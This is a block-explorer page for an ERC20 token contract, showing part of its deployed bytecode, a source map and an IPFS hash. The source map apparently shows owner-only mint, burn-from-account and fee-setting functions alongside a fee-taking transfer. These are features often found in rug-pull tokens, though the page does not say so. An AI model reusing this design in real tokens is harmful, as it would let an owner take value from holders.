cd60e51b815260040161059790610ecb565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610afd908490611353565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b409086906111ce565b60405180910390a3610b50836000845b505050565b600061046983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d00565b600082610ba657506000610404565b6000610bb28385611334565b905082610bbf85836111fd565b146104695760405162461bcd60e51b815260040161059790611012565b6001600160a01b038316610c025760405162461bcd60e51b8152600401610597906110c9565b6001600160a01b038216610c285760405162461bcd60e51b815260040161059790610e88565b610c33838383610b50565b6001600160a01b03831660009081526020819052604090205481811015610c6c5760405162461bcd60e51b815260040161059790610fcc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ca39084906111e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ced91906111ce565b60405180910390a36107ec848484610b50565b60008183610d215760405162461bcd60e51b81526004016105979190610e35565b506000610d2e84866111fd565b95945050505050565b80356001600160a01b03811681146104d457600080fd5b600060208284031215610d5f578081fd5b61046982610d37565b60008060408385031215610d7a578081fd5b610d8383610d37565b9150610d9160208401610d37565b90509250929050565b600080600060608486031215610dae578081fd5b610db784610d37565b9250610dc560208501610d37565b9150604084013590509250925092565b60008060408385031215610de7578182fd5b610df083610d37565b946020939093013593505050565b600060208284031215610e0f578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6157858101830151858201604001528201610e45565b81811115610e725783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156111f8576111f86113a5565b500190565b60008261121857634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161122f575061125a565b818704821115611241576112416113a5565b8086161561124e57918102915b9490941c938002611220565b94509492505050565b600061046960001960ff85168460008261127f57506001610469565b8161128c57506000610469565b81600181146112a257600281146112ac576112d9565b6001915050610469565b60ff8411156112bd576112bd6113a5565b6001841b9150848211156112d3576112d36113a5565b50610469565b5060208310610133831016604e8410600b841016171561130c575081810a83811115611307576113076113a5565b610469565b611319848484600161121d565b80860482111561132b5761132b6113a5565b02949350505050565b600081600019048311821515161561134e5761134e6113a5565b500290565b600082821015611365576113656113a5565b500390565b60028104600182168061137e57607f821691505b6020821081141561139f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220b6f3986254c2abded397431ca37d93d77e3c6e9c9237b8f68097eea211ffbaca64736f6c63430008000033

Deployed Bytecode Sourcemap

9528:2001:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3331:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4304:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;11157:79::-;;;;;;:::i;:::-;;:::i;:::-;;9654:24;;;:::i;:::-;;;;;;;:::i;3669:108::-;;;:::i;4519:295::-;;;;;;:::i;:::-;;:::i;3562:93::-;;;:::i;:::-;;;;;;;:::i;9685:24::-;;;:::i;4828:238::-;;;;;;:::i;:::-;;:::i;9716:20::-;;;:::i;10961:83::-;;;;;;:::i;:::-;;:::i;3791:127::-;;;;;;:::i;:::-;;:::i;1249:135::-;;;:::i;9601:19::-;;;:::i;:::-;;;;;;;:::i;10772:80::-;;;;;;:::i;:::-;;:::i;986:89::-;;;:::i;3445:104::-;;;:::i;10864:83::-;;;;;;:::i;:::-;;:::i;5080:436::-;;;;;;:::i;:::-;;:::i;9628:19::-;;;:::i;3932:193::-;;;;;;:::i;:::-;;:::i;11248:121::-;;;;;;:::i;:::-;;:::i;11058:84::-;;;;;;:::i;:::-;;:::i;4139:151::-;;;;;;:::i;:::-;;:::i;11382:121::-;;;;;;:::i;:::-;;:::i;1398:201::-;;;;;;:::i;:::-;;:::i;3331:100::-;3385:13;3418:5;3411:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3331:100;:::o;4304:201::-;4387:4;4404:13;4420:12;:10;:12::i;:::-;4404:28;;4443:32;4452:5;4459:7;4468:6;4443:8;:32::i;:::-;4493:4;4486:11;;;4304:201;;;;;:::o;11157:79::-;932:13;:11;:13::i;:::-;11216:4:::1;:12:::0;;-1:-1:-1;;;;;;11216:12:0::1;-1:-1:-1::0;;;;;11216:12:0;;;::::1;::::0;;;::::1;::::0;;11157:79::o;9654:24::-;;;;:::o;3669:108::-;3757:12;;3669:108;:::o;4519:295::-;4650:4;4667:15;4685:12;:10;:12::i;:::-;4667:30;;4708:38;4724:4;4730:7;4739:6;4708:15;:38::i;:::-;4757:27;4767:4;4773:2;4777:6;4757:9;:27::i;:::-;4802:4;4795:11;;;4519:295;;;;;;:::o;3562:93::-;3645:2;3562:93;:::o;9685:24::-;;;;:::o;4828:238::-;4916:4;4933:13;4949:12;:10;:12::i;:::-;4933:28;;4972:64;4981:5;4988:7;5025:10;4997:25;5007:5;5014:7;4997:9;:25::i;:::-;:38;;;;:::i;:::-;4972:8;:64::i;9716:20::-;;;;:::o;10961:83::-;932:13;:11;:13::i;:::-;11021:5:::1;:14:::0;10961:83::o;3791:127::-;-1:-1:-1;;;;;3892:18:0;;3865:7;3892:18;;;;;;;;;;;3791:127;;;;:::o;1249:135::-;1305:71;1332:42;1305:18;:71::i;:::-;1249:135::o;9601:19::-;;;-1:-1:-1;;;;;9601:19:0;;:::o;10772:80::-;932:13;:11;:13::i;:::-;10832:4:::1;:12:::0;;-1:-1:-1;;;;;;10832:12:0::1;-1:-1:-1::0;;;;;10832:12:0;;;::::1;::::0;;;::::1;::::0;;10772:80::o;986:89::-;1060:6;;-1:-1:-1;;;;;1060:6:0;986:89;:::o;3445:104::-;3501:13;3534:7;3527:14;;;;;:::i;10864:83::-;932:13;:11;:13::i;:::-;10924:5:::1;:14:::0;10864:83::o;5080:436::-;5173:4;5190:13;5206:12;:10;:12::i;:::-;5190:28;;5229:24;5256:25;5266:5;5273:7;5256:9;:25::i;:::-;5229:52;;5320:15;5300:16;:35;;5292:85;;;;-1:-1:-1;;;5292:85:0;;;;;;;:::i;:::-;;;;;;;;;5413:60;5422:5;5429:7;5457:15;5438:16;:34;5413:8;:60::i;:::-;-1:-1:-1;5504:4:0;;5080:436;-1:-1:-1;;;;5080:436:0:o;9628:19::-;;;-1:-1:-1;;;;;9628:19:0;;:::o;3932:193::-;4011:4;4028:13;4044:12;:10;:12::i;:::-;4028:28;;4067;4077:5;4084:2;4088:6;4067:9;:28::i;11248:121::-;932:13;:11;:13::i;:::-;11321:40:::1;11327:7;11350:10;:8;:10::i;:::-;11344:16;::::0;:2:::1;:16;:::i;:::-;11336:24;::::0;:6;:24:::1;:::i;:::-;11321:5;:40::i;:::-;11248:121:::0;;:::o;11058:84::-;932:13;:11;:13::i;:::-;11120:5:::1;:13:::0;11058:84::o;4139:151::-;-1:-1:-1;;;;;4255:18:0;;;4228:7;4255:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4139:151::o;11382:121::-;932:13;:11;:13::i;:::-;11455:40:::1;11461:7;11484:10;:8;:10::i;:::-;11478:16;::::0;:2:::1;:16;:::i;:::-;11470:24;::::0;:6;:24:::1;:::i;:::-;11455:5;:40::i;1398:201::-:0;932:13;:11;:13::i;:::-;-1:-1:-1;;;;;1487:22:0;::::1;1479:73;;;;-1:-1:-1::0;;;1479:73:0::1;;;;;;;:::i;:::-;1563:28;1582:8;1563:18;:28::i;:::-;1398:201:::0;:::o;407:98::-;487:10;407:98;:::o;7241:380::-;-1:-1:-1;;;;;7377:19:0;;7369:68;;;;-1:-1:-1;;;7369:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7456:21:0;;7448:68;;;;-1:-1:-1;;;7448:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7529:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7581:32;;;;;7559:6;;7581:32;:::i;:::-;;;;;;;;7241:380;;;:::o;1090:145::-;1177:12;:10;:12::i;:::-;-1:-1:-1;;;;;1166:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1166:23:0;;1158:68;;;;-1:-1:-1;;;1158:68:0;;;;;;;:::i;7635:453::-;7770:24;7797:25;7807:5;7814:7;7797:9;:25::i;:::-;7770:52;;-1:-1:-1;;7837:16:0;:37;7833:248;;7919:6;7899:16;:26;;7891:68;;;;-1:-1:-1;;;7891:68:0;;;;;;;:::i;:::-;8003:51;8012:5;8019:7;8047:6;8028:16;:25;8003:8;:51::i;:::-;7635:453;;;;:::o;9973:787::-;10106:9;10118:16;:6;10129:4;10118:10;:16::i;:::-;10158:4;;10106:28;;-1:-1:-1;;;;;;10148:14:0;;;10158:4;;10148:14;10145:608;;;10202:4;;10214:5;;10178:43;;10194:6;;-1:-1:-1;;;;;10202:4:0;;;;10208:12;;:1;;:5;:12::i;:::-;10178:15;:43::i;:::-;10236:53;10252:6;10260:9;10271:17;10282:5;;10277:4;:10;;;;:::i;:::-;10271:1;;:5;:17::i;10236:53::-;10145:608;;;10322:4;;-1:-1:-1;;;;;10309:17:0;;;10322:4;;10309:17;10306:447;;;10366:4;;10378:5;;10342:43;;10358:6;;-1:-1:-1;;;;;10366:4:0;;;;10372:12;;:1;;:5;:12::i;10342:43::-;10400:53;10416:6;10424:9;10435:17;10446:5;;10441:4;:10;;;;:::i;10306:447::-;10474:4;;-1:-1:-1;;;;;10474:4:0;:18;;;;10473:43;;-1:-1:-1;10511:4:0;;-1:-1:-1;;;;;10498:17:0;;;10511:4;;10498:17;;10473:43;:63;;;;-1:-1:-1;10531:4:0;;-1:-1:-1;;;;;10521:14:0;;;10531:4;;10521:14;;10473:63;10470:283;;;10576:4;;10588:5;;10552:43;;10568:6;;-1:-1:-1;;;;;10576:4:0;;;;10582:12;;:1;;:5;:12::i;10552:43::-;10610:53;10626:6;10634:9;10645:17;10656:5;;10651:4;:10;;;;:::i;10470:283::-;10694:47;10710:6;10718:9;10729:11;:1;10735:4;10729:5;:11::i;1613:191::-;1706:6;;;-1:-1:-1;;;;;1723:17:0;;;-1:-1:-1;;;;;;1723:17:0;;;;;;;1756:40;;1706:6;;;1723:17;1706:6;;1756:40;;1687:16;;1756:40;1613:191;;:::o;6215:399::-;-1:-1:-1;;;;;6299:21:0;;6291:65;;;;-1:-1:-1;;;6291:65:0;;;;;;;:::i;:::-;6369:49;6398:1;6402:7;6411:6;6369:20;:49::i;:::-;6447:6;6431:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6464:18:0;;:9;:18;;;;;;;;;;:28;;6486:6;;6464:9;:28;;6486:6;;6464:28;:::i;:::-;;;;-1:-1:-1;;6508:37:0;;-1:-1:-1;;;;;6508:37:0;;;6525:1;;6508:37;;;;6538:6;;6508:37;:::i;:::-;;;;;;;;6558:48;6586:1;6590:7;6599:6;6558:19;:48::i;6628:591::-;-1:-1:-1;;;;;6712:21:0;;6704:67;;;;-1:-1:-1;;;6704:67:0;;;;;;;:::i;:::-;6784:49;6805:7;6822:1;6826:6;6784:20;:49::i;:::-;-1:-1:-1;;;;;6871:18:0;;6846:22;6871:18;;;;;;;;;;;6908:24;;;;6900:71;;;;-1:-1:-1;;;6900:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7007:18:0;;:9;:18;;;;;;;;;;7028:23;;;7007:44;;7073:12;:22;;7045:6;;7007:9;7073:22;;7045:6;;7073:22;:::i;:::-;;;;-1:-1:-1;;7113:37:0;;7139:1;;-1:-1:-1;;;;;7113:37:0;;;;;;;7143:6;;7113:37;:::i;:::-;;;;;;;;7163:48;7183:7;7200:1;7204:6;7163:48;6628:591;;;:::o;9196:132::-;9254:7;9281:39;9285:1;9288;9281:39;;;;;;;;;;;;;;;;;:3;:39::i;8944:246::-;9002:7;9026:6;9022:47;;-1:-1:-1;9056:1:0;9049:8;;9022:47;9079:9;9091:5;9095:1;9091;:5;:::i;:::-;9079:17;-1:-1:-1;9124:1:0;9115:5;9119:1;9079:17;9115:5;:::i;:::-;:10;9107:56;;;;-1:-1:-1;;;9107:56:0;;;;;;;:::i;5530:671::-;-1:-1:-1;;;;;5661:18:0;;5653:68;;;;-1:-1:-1;;;5653:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5740:16:0;;5732:64;;;;-1:-1:-1;;;5732:64:0;;;;;;;:::i;:::-;5809:38;5830:4;5836:2;5840:6;5809:20;:38::i;:::-;-1:-1:-1;;;;;5882:15:0;;5860:19;5882:15;;;;;;;;;;;5916:21;;;;5908:72;;;;-1:-1:-1;;;5908:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6016:15:0;;;:9;:15;;;;;;;;;;;6034:20;;;6016:38;;6076:13;;;;;;;;:23;;6048:6;;6016:9;6076:23;;6048:6;;6076:23;:::i;:::-;;;;;;;;6132:2;-1:-1:-1;;;;;6117:26:0;6126:4;-1:-1:-1;;;;;6117:26:0;;6136:6;6117:26;;;;;;:::i;:::-;;;;;;;;6156:37;6176:4;6182:2;6186:6;6156:19;:37::i;9334:189::-;9420:7;9455:12;9448:5;9440:28;;;;-1:-1:-1;;;9440:28:0;;;;;;;;:::i;:::-;-1:-1:-1;9479:9:0;9491:5;9495:1;9491;:5;:::i;:::-;9479:17;9334:189;-1:-1:-1;;;;;9334:189:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:190::-;;1406:2;1394:9;1385:7;1381:23;1377:32;1374:2;;;1427:6;1419;1412:22;1374:2;-1:-1:-1;1455:23:1;;1364:120;-1:-1:-1;1364:120:1:o;1489:203::-;-1:-1:-1;;;;;1653:32:1;;;;1635:51;;1623:2;1608:18;;1590:102::o;1697:187::-;1862:14;;1855:22;1837:41;;1825:2;1810:18;;1792:92::o;1889:603::-;;2030:2;2059;2048:9;2041:21;2091:6;2085:13;2134:6;2129:2;2118:9;2114:18;2107:34;2159:4;2172:140;2186:6;2183:1;2180:13;2172:140;;;2281:14;;;2277:23;;2271:30;2247:17;;;2266:2;2243:26;2236:66;2201:10;;2172:140;;;2330:6;2327:1;2324:13;2321:2;;;2400:4;2395:2;2386:6;2375:9;2371:22;2367:31;2360:45;2321:2;-1:-1:-1;2476:2:1;2455:15;-1:-1:-1;;2451:29:1;2436:45;;;;2483:2;2432:54;;2010:482;-1:-1:-1;;;2010:482:1:o;2497:399::-;2699:2;2681:21;;;2738:2;2718:18;;;2711:30;2777:34;2772:2;2757:18;;2750:62;-1:-1:-1;;;2843:2:1;2828:18;;2821:33;2886:3;2871:19;;2671:225::o;2901:398::-;3103:2;3085:21;;;3142:2;3122:18;;;3115:30;3181:34;3176:2;3161:18;;3154:62;-1:-1:-1;;;3247:2:1;3232:18;;3225:32;3289:3;3274:19;;3075:224::o;3304:402::-;3506:2;3488:21;;;3545:2;3525:18;;;3518:30;3584:34;3579:2;3564:18;;3557:62;-1:-1:-1;;;3650:2:1;3635:18;;3628:36;3696:3;3681:19;;3478:228::o;3711:398::-;3913:2;3895:21;;;3952:2;3932:18;;;3925:30;3991:34;3986:2;3971:18;;3964:62;-1:-1:-1;;;4057:2:1;4042:18;;4035:32;4099:3;4084:19;;3885:224::o;4114:353::-;4316:2;4298:21;;;4355:2;4335:18;;;4328:30;4394:31;4389:2;4374:18;;4367:59;4458:2;4443:18;;4288:179::o;4472:402::-;4674:2;4656:21;;;4713:2;4693:18;;;4686:30;4752:34;4747:2;4732:18;;4725:62;-1:-1:-1;;;4818:2:1;4803:18;;4796:36;4864:3;4849:19;;4646:228::o;4879:397::-;5081:2;5063:21;;;5120:2;5100:18;;;5093:30;5159:34;5154:2;5139:18;;5132:62;-1:-1:-1;;;5225:2:1;5210:18;;5203:31;5266:3;5251:19;;5053:223::o;5281:356::-;5483:2;5465:21;;;5502:18;;;5495:30;5561:34;5556:2;5541:18;;5534:62;5628:2;5613:18;;5455:182::o;5642:397::-;5844:2;5826:21;;;5883:2;5863:18;;;5856:30;5922:34;5917:2;5902:18;;5895:62;-1:-1:-1;;;5988:2:1;5973:18;;5966:31;6029:3;6014:19;;5816:223::o;6044:401::-;6246:2;6228:21;;;6285:2;6265:18;;;6258:30;6324:34;6319:2;6304:18;;6297:62;-1:-1:-1;;;6390:2:1;6375:18;;6368:35;6435:3;6420:19;;6218:227::o;6450:400::-;6652:2;6634:21;;;6691:2;6671:18;;;6664:30;6730:34;6725:2;6710:18;;6703:62;-1:-1:-1;;;6796:2:1;6781:18;;6774:34;6840:3;6825:19;;6624:226::o;6855:401::-;7057:2;7039:21;;;7096:2;7076:18;;;7069:30;7135:34;7130:2;7115:18;;7108:62;-1:-1:-1;;;7201:2:1;7186:18;;7179:35;7246:3;7231:19;;7029:227::o;7261:355::-;7463:2;7445:21;;;7502:2;7482:18;;;7475:30;7541:33;7536:2;7521:18;;7514:61;7607:2;7592:18;;7435:181::o;7621:177::-;7767:25;;;7755:2;7740:18;;7722:76::o;7803:184::-;7975:4;7963:17;;;;7945:36;;7933:2;7918:18;;7900:87::o;7992:128::-;;8063:1;8059:6;8056:1;8053:13;8050:2;;;8069:18;;:::i;:::-;-1:-1:-1;8105:9:1;;8040:80::o;8125:217::-;;8191:1;8181:2;;-1:-1:-1;;;8216:31:1;;8270:4;8267:1;8260:15;8298:4;8223:1;8288:15;8181:2;-1:-1:-1;8327:9:1;;8171:171::o;8347:453::-;8443:6;8466:5;8480:314;8529:1;8566:2;8556:8;8553:16;8543:2;;8573:5;;;8543:2;8614:4;8609:3;8605:14;8599:4;8596:24;8593:2;;;8623:18;;:::i;:::-;8673:2;8663:8;8659:17;8656:2;;;8688:16;;;;8656:2;8767:17;;;;;8727:15;;8480:314;;;8424:376;;;;;;;:::o;8805:148::-;;8892:55;-1:-1:-1;;8933:4:1;8919:19;;8913:4;8958:922;9042:8;9032:2;;-1:-1:-1;9083:1:1;9097:5;;9032:2;9131:4;9121:2;;-1:-1:-1;9168:1:1;9182:5;;9121:2;9213:4;9231:1;9226:59;;;;9299:1;9294:183;;;;9206:271;;9226:59;9256:1;9247:10;;9270:5;;;9294:183;9331:3;9321:8;9318:17;9315:2;;;9338:18;;:::i;:::-;9394:1;9384:8;9380:16;9371:25;;9422:3;9415:5;9412:14;9409:2;;;9429:18;;:::i;:::-;9462:5;;;9206:271;;9561:2;9551:8;9548:16;9542:3;9536:4;9533:13;9529:36;9523:2;9513:8;9510:16;9505:2;9499:4;9496:12;9492:35;9489:77;9486:2;;;-1:-1:-1;9598:19:1;;;9633:14;;;9630:2;;;9650:18;;:::i;:::-;9683:5;;9486:2;9730:42;9768:3;9758:8;9752:4;9749:1;9730:42;:::i;:::-;9805:6;9800:3;9796:16;9787:7;9784:29;9781:2;;;9816:18;;:::i;:::-;9854:20;;9022:858;-1:-1:-1;;;;9022:858:1:o;9885:168::-;;9991:1;9987;9983:6;9979:14;9976:1;9973:21;9968:1;9961:9;9954:17;9950:45;9947:2;;;9998:18;;:::i;:::-;-1:-1:-1;10038:9:1;;9937:116::o;10058:125::-;;10126:1;10123;10120:8;10117:2;;;10131:18;;:::i;:::-;-1:-1:-1;10168:9:1;;10107:76::o;10188:380::-;10273:1;10263:12;;10320:1;10310:12;;;10331:2;;10385:4;10377:6;10373:17;10363:27;;10331:2;10438;10430:6;10427:14;10407:18;10404:38;10401:2;;;10484:10;10479:3;10475:20;10472:1;10465:31;10519:4;10516:1;10509:15;10547:4;10544:1;10537:15;10401:2;;10243:325;;;:::o;10573:127::-;10634:10;10629:3;10625:20;10622:1;10615:31;10665:4;10662:1;10655:15;10689:4;10686:1;10679:15

Swarm Source

ipfs://b6f3986254c2abded397431ca37d93d77e3c6e9c9237b8f68097eea211ffbaca
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.